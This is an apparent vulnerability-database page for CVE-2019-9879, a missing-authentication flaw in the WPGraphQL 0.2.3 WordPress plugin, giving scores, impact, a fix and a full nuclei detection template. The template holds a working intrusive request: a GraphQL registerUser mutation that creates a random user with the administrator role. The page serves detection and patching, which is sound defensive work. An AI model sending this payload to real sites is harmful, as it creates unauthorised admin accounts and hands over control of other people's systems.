HexBrain

Browse / CVEs / CVE-2019-9879

CVE-2019-9879· wpengine / wpgraphql· CWE-306

WPGraphQL 0.2.3 - User Creation

criticalseverity
9.8CVSS score
45.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.

Impact

Attackers can create admin users, leading to full control over the WordPress site.

Fix

Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions.

How to confirm it

Send: POST /
Positive when: status_code == 200 and contains(content_type, 'application/json') and contains_all(body, 'UWHATM8', '{\"status\":')

Run it with nuclei: nuclei -id CVE-2019-9879 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-9879

info:
  name: WPGraphQL 0.2.3 - User Creation
  author: DhiyaneshDk
  severity: critical
  description: |
    The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
  impact: |
    Attackers can create admin users, leading to full control over the WordPress site.
  remediation: |
    Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions.
  reference:
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://github.com/pentestpartners/snippets/blob/master/wp-graphql0.2.3_exploit.py
    - https://wpscan.com/vulnerability/2d451c89-91ce-4151-b3fb-56af15869644/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9879
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9879
    cwe-id: CWE-306
    epss-score: 0.45692
    epss-percentile: 0.98806
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp-graphql,wpengine,wordpress,wp-plugin,intrusive,vkev,vuln

variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json

        {"query": "mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\"{{user_email}}\",password:\"{{password}}\",username:\"{{username}}\",roles:[\"administrator\"]}){clientMutationId}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains_all(body, 'UWHATM8', '{\"status\":')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from